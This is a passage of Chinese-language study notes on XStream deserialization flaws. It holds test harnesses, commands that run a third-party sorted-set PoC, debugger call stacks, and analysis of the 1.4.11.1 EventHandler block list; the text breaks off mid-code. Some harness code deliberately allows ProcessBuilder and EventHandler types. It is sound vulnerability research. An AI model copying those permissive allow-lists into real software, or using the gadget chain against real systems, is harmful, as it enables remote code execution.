标题: XStream反序列化学习笔记
创建: 2019-12-04 14:00 更新: 链接: https://scz.617.cn/web/201912041400.txt
目录:
☆ XStream
1) Customer10Parent.java
2) Customer10.java
3) SerializeCustomer10.java
4) DeserializeCustomer10.java
5) DeserializeCustomer10Secure.java
7) 基于sorted-set的PoC(sorted-set.xml)
7.1) TreeSetConverter
7.3) DynamicProxyConverter
7.4) ReflectionConverter
8) DeserializeUsingXStream.java
9) ProcessBuilder.start()调用栈回溯
10) DeserializeUsingXStream1.java
10.1) xstream-1.4.11.1.jar的修补方案(InternalBlackList)
11) XStream Converters
11.1) Person.java
11.2) Birthday.java
11.3) BirthdayConverter.java
11.4) SerializeBirthday.java
11.5) DeserializeBirthday.java
12) 基于tree-map的PoC(tree-map.xml)
12.1) TreeMapConverter
12.2) ProcessBuilder.start()调用栈回溯
13) CVE-2013-7285
13.1) TicketService.xml
13.2) DeserializeTicketService.java
13.3) ProcessBuilder.start()调用栈回溯
14) CVE-2016-0792(XStream+Groovy)
14.1) map_old.xml
14.2) map.xml
14.2.1) ProcessBuilder.start()调用栈回溯
14.2.2) MapConverter
14.2.9) 简化版调用关系
14.3) CVE-2016-0792漏洞利用原理
14.3.1) 与InternalBlackList无关
14.4) groovy-all-2.4.9.jar无法利用成功
15) 基于linked-hash-set的PoC(linked-hash-set.xml)
15.19) ProcessBuilder.start()调用栈回溯
☆ 参考资源
☆ XStream
参[9]
1) Customer10Parent.java
/ * javac -encoding GBK -g Customer10Parent.java / public class Customer10Parent { private String addr;
public String getAddr()
{
return( this.addr );
}
public void setAddr ( String addr )
{
this.addr = addr;
}
}
2) Customer10.java
/ * javac -encoding GBK -g Customer10.java / public class Customer10 extends Customer10Parent { / * https://x-stream.github.io/tutorial.html * * XStream doesn't care about the visibility of the fields. / private String name; private int age; private int id;
/*
* XStream does not limit you to having a default constructor.
*/
public Customer10
(
String name,
int age,
int id
)
{
this.name = name;
this.age = age;
this.id = id;
}
/*
* No getters or setters are needed.
*/
public String getName ()
{
return( this.name );
}
public void setName ( String name )
{
this.name = name;
}
public int getAge ()
{
return( this.age );
}
public void setAge ( int age )
{
this.age = age;
}
public int getId ()
{
return( this.id );
}
public void setId ( int id )
{
this.id = id;
}
}
Customer10Parent、Customer10不需实现Serializable、Externalizable接口,不要 求无参构造函数,不要求set()、get()函数。
3) SerializeCustomer10.java
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." SerializeCustomer10.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeCustomer10 customer10.xml 0 * java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 1 * java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 2 / import java.io.; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;
public class SerializeCustomer10 { private static XStream GetXStream ( int mode ) { XStream xs;
switch ( mode )
{
case 0 :
/*
* 依赖xpp3_min-1.1.4c.jar
*
* xpp3 is a very fast XML pull-parser implementation.
*/
xs = new XStream();
break;
case 1 :
/*
* 不依赖xpp3_min-1.1.4c.jar
*
* standard JAXP DOM parser
*/
xs = new XStream( new DomDriver() );
break;
default:
/*
* 不依赖xpp3_min-1.1.4c.jar
*
* integrated StAX parser
*/
xs = new XStream( new StaxDriver() );
break;
}
return( xs );
}
public static void main ( String[] argv ) throws Exception
{
Customer10 obj = new Customer10( "yoda", 1024, 9527 );
obj.setAddr( "<nonexist>" );
int mode = Integer.parseInt( argv[1] );
FileOutputStream fos = new FileOutputStream( argv[0] );
XStream xs = GetXStream( mode );
xs.toXML( obj, fos );
fos.close();
}
}
上例演示了三种初始化XStream实例的方式,第一种依赖xpp3_min-1.1.4c.jar,后两 种不依赖xpp3_min-1.1.4c.jar。
4) DeserializeCustomer10.java
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeCustomer10.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 2 / import java.io.; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;
public class DeserializeCustomer10 { private static XStream GetXStream ( int mode ) { XStream xs;
switch ( mode )
{
case 0 :
xs = new XStream();
break;
case 1 :
xs = new XStream( new DomDriver() );
break;
default:
xs = new XStream( new StaxDriver() );
break;
}
return( xs );
}
public static void main ( String[] argv ) throws Exception
{
int mode = Integer.parseInt( argv[1] );
FileInputStream fis = new FileInputStream( argv[0] );
XStream xs = GetXStream( mode );
Customer10 obj = ( Customer10 )xs.fromXML( fis );
fis.close();
System.out.println
(
String.format
(
"name = %s\n" +
"age = %d\n" +
"id = %d\n" +
"addr = %s",
obj.getName(),
obj.getAge(),
obj.getId(),
obj.getAddr()
)
);
}
}
上例演示了三种初始化XStream实例的方式,无论用哪种,反序列化时都依赖 xmlpull-1.1.3.1.jar。
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:." SerializeCustomer10 customer10.xml 0
$ cat customer10.xml
前两种方式生成的customer10.xml一样,第三种方式生成的customer10.xml没有回车 换行,就一行。
$ java -cp "xstream-1.4.10.jar:." SerializeCustomer10 customer10.xml 2
$ cat customer10.xml
各种方式产生的customer10.xml,反序列化时可以交叉使用。
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10 customer10.xml 0
Security framework of XStream not initialized, XStream is probably vulnerable.
name = yoda
age = 1024
id = 9527
addr =
5) DeserializeCustomer10Secure.java
本例演示如何消除反序列化时的安全告警:
Security framework of XStream not initialized, XStream is probably vulnerable.
GetXStream()演示了安全设置,这是1.4.7开始新增的特性。
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeCustomer10Secure.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeCustomer10Secure customer10.xml 2 / import java.io.; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;
public class DeserializeCustomer10Secure { private static XStream GetXStream ( int mode, String[] pattern ) { XStream xs;
switch ( mode )
{
case 0 :
xs = new XStream();
break;
case 1 :
xs = new XStream( new DomDriver() );
break;
default:
xs = new XStream( new StaxDriver() );
break;
}
/*
* https://stackoverflow.com/questions/44698296/security-framework-of-xstream-not-initialized-xstream-is-probably-vulnerable
* http://x-stream.github.io/security.html
*/
// /*
// * clear out existing permissions and set own ones
// */
// xs.addPermission( NoTypePermission.NONE );
// /*
// * allow some basics
// */
// xs.addPermission( NullPermission.NULL );
// xs.addPermission( PrimitiveTypePermission.PRIMITIVES );
// xs.addPermission( AnyTypePermission.ANY );
// xs.addPermission( NoTypePermission.NONE );
// xs.allowTypeHierarchy( Collection.class );
/*
* to be removed after 1.5
*/
xs.setupDefaultSecurity( xs );
/*
* allow any type from the same package
*
* xs.allowTypes( new Class[] { a.class, b.class } )
* xs.allowTypesByRegExp( new String[] { ".*" } )
* xs.allowTypesByWildcard( new String[] { "com.a.package.*", "com.b.package.*" } )
*/
xs.allowTypesByWildcard( pattern );
return( xs );
}
public static void main ( String[] argv ) throws Exception
{
int mode = Integer.parseInt( argv[1] );
FileInputStream fis = new FileInputStream( argv[0] );
/*
* 只是演示消除安全告警,请根据实际上下文修改之
*
* Customer10.class.getPackage().getName() + ".*"
*/
String[] pattern = new String[] { "Customer10*" };
XStream xs = GetXStream( mode, pattern );
Customer10 obj = ( Customer10 )xs.fromXML( fis );
fis.close();
System.out.println
(
String.format
(
"name = %s\n" +
"age = %d\n" +
"id = %d\n" +
"addr = %s",
obj.getName(),
obj.getAge(),
obj.getId(),
obj.getAddr()
)
);
}
}
除了allow(),还有deny()可用。
7) 基于sorted-set的PoC(sorted-set.xml)
参[10]
这是别人提供的PoC:
根据sorted-set标签找到TreeSetConverter。
dynamic-proxy标签在XStream反序列化之后会得到一个动态代理对象,该对象实现了 interface标签指定的接口"java.lang.Comparable",可以有多个interface标签指定 多个接口;handler标签指定的"java.beans.EventHandler"对应 GeneralInvocationHandler2.java这种角色;通过该动态代理对象调用接口中声明的 方法compareTo()时,就会调用EventHandler.invoke()。
会调用dynamic-proxy.compareTo("foo")。
这个PoC适用于如下版本的XStream:
1.4.5 1.4.6 1.4.10
1.3.1及以下版本不支持sorted-set,所以不受此PoC影响。
XStream解析sorted-set.xml时用到5种Converter。
7.1) TreeSetConverter
http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/collections/TreeSetConverter.html
Converts a java.util.TreeSet to XML, and serializes the associated java.util.Comparator. The converter assumes that the elements in the XML are already sorted according the comparator.
7.3) DynamicProxyConverter
http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.html
Converts a dynamic proxy to XML, storing the implemented interfaces and handler.
7.4) ReflectionConverter
http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/reflection/ReflectionConverter.html http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/reflection/AbstractReflectionConverter.html
8) DeserializeUsingXStream.java
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeUsingXStream.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 2 / import java.io.; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.; import com.thoughtworks.xstream.security.*;
public class DeserializeUsingXStream { private static XStream GetXStream ( int mode, String[] pattern ) { XStream xs;
switch ( mode )
{
case 0 :
xs = new XStream();
break;
case 1 :
xs = new XStream( new DomDriver() );
break;
default:
xs = new XStream( new StaxDriver() );
break;
}
xs.setupDefaultSecurity( xs );
/*
* xs.addPermission( AnyTypePermission.ANY );
*
* 上面这句相当于移除所有安全限制。
*
* 下面这句pattern中不要出现".*",否则相当于移除所有安全限制。
*/
xs.allowTypesByRegExp( pattern );
return( xs );
}
public static void main ( String[] argv ) throws Exception
{
int mode = Integer.parseInt( argv[1] );
FileInputStream fis = new FileInputStream( argv[0] );
/*
* 只是演示消除安全告警,实际中务必指定最小pattern
*/
String[] pattern = new String[]
{
/*
* Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: java.lang.ProcessBuilder
*/
"java.lang.ProcessBuilder",
/*
* Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: java.beans.EventHandler
*/
"java.beans.EventHandler",
/*
* Caused by: com.thoughtworks.xstream.security.ForbiddenClassException: com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy
*/
"com.thoughtworks.xstream.mapper.*"
};
XStream xs = GetXStream( mode, pattern );
Object obj = xs.fromXML( fis );
fis.close();
}
}
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.UNIXProcess cannot be cast to java.lang.Integer class : java.util.TreeSet required-type : java.util.TreeSet converter-type : com.thoughtworks.xstream.converters.collections.TreeSetConverter path : /sorted-set line number : 16 version : 1.4.10
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
at DeserializeUsingXStream.main(DeserializeUsingXStream.java:66)
Caused by: java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer at com.sun.proxy.$Proxy0.compareTo(Unknown Source) at java.util.TreeMap.put(TreeMap.java:568) at java.util.AbstractMap.putAll(AbstractMap.java:281) at java.util.TreeMap.putAll(TreeMap.java:327) at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:122) at com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal(TreeSetConverter.java:126) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more
虽然抛出异常,但sorted-set.xml中指定的命令已经得到执行。
$ ls -l /tmp/scz_is_here
DeserializeUsingXStream.java为了消除安全告警,使用了pattern。
Security framework of XStream not initialized, XStream is probably vulnerable.
尽管pattern不是".*",仍然带来一些问题。下面两条命令都会得手:
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 $ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0
9) ProcessBuilder.start()调用栈回溯
$ java -agentlib:jdwp=transport=dt_socket,address=127.0.0.1:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream sorted-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8005
stop in java.lang.ProcessBuilder.start
[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] sun.reflect.misc.Trampoline.invoke (MethodUtil.java:71), pc = 7 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:275), pc = 20 [12] java.beans.EventHandler.invokeInternal (EventHandler.java:482), pc = 418 [13] java.beans.EventHandler.access$000 (EventHandler.java:279), pc = 4 [14] java.beans.EventHandler$1.run (EventHandler.java:430), pc = 16 [15] java.security.AccessController.doPrivileged (native method) [16] java.beans.EventHandler.invoke (EventHandler.java:428), pc = 40 // 对应GeneralInvocationHandler2.java [17] com.sun.proxy.$Proxy0.compareTo (null), pc = 16 // 接口java.lang.Comparable中声明了方法compareTo() [18] java.util.TreeMap.put (TreeMap.java:568), pc = 141 [19] java.util.AbstractMap.putAll (AbstractMap.java:281), pc = 44 [20] java.util.TreeMap.putAll (TreeMap.java:327), pc = 101 [21] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:122), pc = 107 [22] com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal (TreeSetConverter.java:126), pc = 224 [23] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [24] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [26] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [28] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [29] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [30] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [31] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [32] DeserializeUsingXStream.main (DeserializeUsingXStream.java:66), pc = 48
调用栈回溯中出现"com.sun.proxy.$Proxy0",这是动态代理机制。
10) DeserializeUsingXStream1.java
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." DeserializeUsingXStream1.java * java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 1 * java -cp "xstream-1.4.10.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 2 / import java.io.; import java.beans.EventHandler; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.;
public class DeserializeUsingXStream1 { private static XStream GetXStream ( int mode ) { XStream xs;
switch ( mode )
{
case 0 :
xs = new XStream();
break;
case 1 :
xs = new XStream( new DomDriver() );
break;
default:
xs = new XStream( new StaxDriver() );
break;
}
/*
* 不使用标准安全机制,执行时会有安全告警:
*
* Security framework of XStream not initialized, XStream is probably vulnerable.
*/
return( xs );
}
public static void main ( String[] argv ) throws Exception
{
int mode = Integer.parseInt( argv[1] );
FileInputStream fis = new FileInputStream( argv[0] );
XStream xs = GetXStream( mode );
Object obj = xs.fromXML( fis );
fis.close();
}
}
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. ...
$ ls -l /tmp/scz_is_here
DeserializeUsingXStream1.java没有使用标准安全机制,未指定pattern,执行时有 安全告警,但不影响漏洞利用。
xstream-1.4.11.1.jar不存在该漏洞:
$ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : java.beans.EventHandler required-type : java.beans.EventHandler converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /sorted-set/dynamic-proxy/handler line number : 5 class[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy required-type[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy converter-type[1] : com.thoughtworks.xstream.converters.extended.DynamicProxyConverter class[2] : java.util.TreeSet required-type[2] : java.util.TreeSet converter-type[2] : com.thoughtworks.xstream.converters.collections.TreeSetConverter version : 1.4.11.1
at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal(DynamicProxyConverter.java:127)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117)
at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:98)
at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91)
at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85)
at com.thoughtworks.xstream.converters.collections.TreeSetConverter$1.populateMap(TreeSetConverter.java:136)
at com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap(TreeMapConverter.java:116)
at com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal(TreeSetConverter.java:126)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467)
at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347)
at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)
10.1) xstream-1.4.11.1.jar的修补方案(InternalBlackList)
com.thoughtworks.xstream.XStream$InternalBlackList
private class InternalBlackList implements Converter {
public boolean canConvert(final Class type) {
return (type == void.class || type == Void.class)
/*
* 如果启用了标准安全机制,InternalBlackList.canConvert()返回
* false,InternalBlackList.unmarshal()没机会执行,内置黑名单
* 不生效。
*/
|| (!securityInitialized
&& type != null
&& (type.getName().equals("java.beans.EventHandler")
|| type.getName().endsWith("$LazyIterator")
|| type.getName().startsWith("javax.crypto.")));
}
public void marshal(final Object source, final HierarchicalStreamWriter writer,
final MarshallingContext context) {
throw new ConversionException("Security alert. Marshalling rejected.");
}
public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) {
/*
* 2560行
*/
throw new ConversionException("Security alert. Unmarshalling rejected.");
}
}
$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 sorted-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in com.thoughtworks.xstream.XStream$InternalBlackList.canConvert
Eclipse居然断不下来,jdb可以。不过这个断点不好,换一个:
stop at com.thoughtworks.xstream.core.DefaultConverterLookup:77 (1.4.11.1版的行号)
[1] com.thoughtworks.xstream.core.DefaultConverterLookup.lookupConverterForType (DefaultConverterLookup.java:77), pc = 85 [2] com.thoughtworks.xstream.XStream$1.lookupConverterForType (XStream.java:517), pc = 5 [3] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:56), pc = 20 [4] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [5] com.thoughtworks.xstream.converters.extended.DynamicProxyConverter.unmarshal (DynamicProxyConverter.java:127), pc = 197 [6] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [7] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:72), pc = 239 [8] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [9] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [10] com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem (AbstractCollectionConverter.java:132), pc = 14 [11] com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem (AbstractCollectionConverter.java:117), pc = 4 [12] com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection (CollectionConverter.java:98), pc = 4 [13] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:91), pc = 21 [14] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:85), pc = 5 [15] com.thoughtworks.xstream.converters.collections.TreeSetConverter$1.populateMap (TreeSetConverter.java:136), pc = 16 [16] com.thoughtworks.xstream.converters.collections.TreeMapConverter.populateTreeMap (TreeMapConverter.java:116), pc = 75 [17] com.thoughtworks.xstream.converters.collections.TreeSetConverter.unmarshal (TreeSetConverter.java:126), pc = 224 [18] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [19] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:72), pc = 239 [20] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [21] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [22] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [23] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [24] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,487), pc = 43 [25] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,467), pc = 4 [26] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,347), pc = 12 [27] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25
locals
type = instance of java.lang.Class(reflected class=java.beans.EventHandler, id=1261) converter = instance of com.thoughtworks.xstream.XStream$InternalBlackList(id=1264)
1.4.11.1的黑名单机制有点反直觉。canConvert()中有一些黑名单,如果匹配则返回 true,换句话说,命中黑名单时使用InternalBlackList这个Converter处理序列化、 反序列化;但InternalBlackList的marshal()、unmarshal()都是直接抛异常,于是 命中黑名单时无法序列化、反序列化。
com.thoughtworks.xstream.XStream.setupConverters()
protected void setupConverters() { registerConverter( new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW);
registerConverter(
new SerializableConverter(mapper, reflectionProvider, classLoaderReference), PRIORITY_LOW);
registerConverter(new ExternalizableConverter(mapper, classLoaderReference), PRIORITY_LOW);
registerConverter(new InternalBlackList(), PRIORITY_LOW);
...
registerConverter(new TreeSetConverter(mapper), PRIORITY_NORMAL);
...
registerConverter(new DynamicProxyConverter(mapper, classLoaderReference), PRIORITY_NORMAL);
...
}
InternalBlackList的优先级PRIORITY_LOW,高于ReflectionConverter的优先级 PRIORITY_VERY_LOW,DefaultConverterLookup.lookupConverterForType()会优先找 到InternalBlackList。当要寻找EventHandler的转换器时,会返回 InternalBlackList。
11) XStream Converters
参看:
http://x-stream.github.io/converter-tutorial.html
11.1) Person.java
/ * javac -encoding GBK -g Person.java / public class Person { private String name;
public Person ()
{
}
public Person ( String name )
{
this.name = name;
}
public String getName ()
{
return( this.name );
}
public void setName ( String name )
{
this.name = name;
}
@Override
public String toString ()
{
return( getName() );
}
}
11.2) Birthday.java
/ * javac -encoding GBK -g Birthday.java / import java.util.*;
public class Birthday { private Person person; private Calendar calendar; private char gender;
public Birthday ()
{
}
public Birthday ( Person person, Calendar calendar, char gender )
{
this.person = person;
this.calendar = calendar;
this.gender = gender;
}
public Person getPerson ()
{
return( this.person );
}
public void setPerson ( Person person )
{
this.person = person;
}
public Calendar getCalendar ()
{
return( this.calendar );
}
public void setCalendar ( Calendar calendar )
{
this.calendar = calendar;
}
public char getGender ()
{
return( this.gender );
}
public void setGender ( char gender )
{
this.gender = gender;
}
}
11.3) BirthdayConverter.java
/ * javac -encoding GBK -g -cp "xstream-1.4.10.jar:." BirthdayConverter.java / import java.util.Calendar; import com.thoughtworks.xstream.io.; import com.thoughtworks.xstream.converters.;
public class BirthdayConverter implements Converter { public boolean canConvert ( Class clazz ) { / * clazz.equals( Birthday.class ) * * We can use == operators for reference comparison * (address comparison) and .equals() method for content * comparison. In simple words, == checks if both objects point to * the same memory location whereas .equals() evaluates to the * comparison of values in the objects. / return( Birthday.class == clazz ); }
public void marshal
(
final Object source,
final HierarchicalStreamWriter writer,
final MarshallingContext context
)
{
Birthday obj = ( Birthday )source;
if ( obj.getGender() != '\0' )
{
writer.addAttribute( "gender", Character.toString( obj.getGender() ) );
}
if ( obj.getPerson() != null )
{
writer.startNode( "person" );
context.convertAnother( obj.getPerson() );
writer.endNode();
}
if ( obj.getCalendar() != null )
{
writer.startNode( "birthday" );
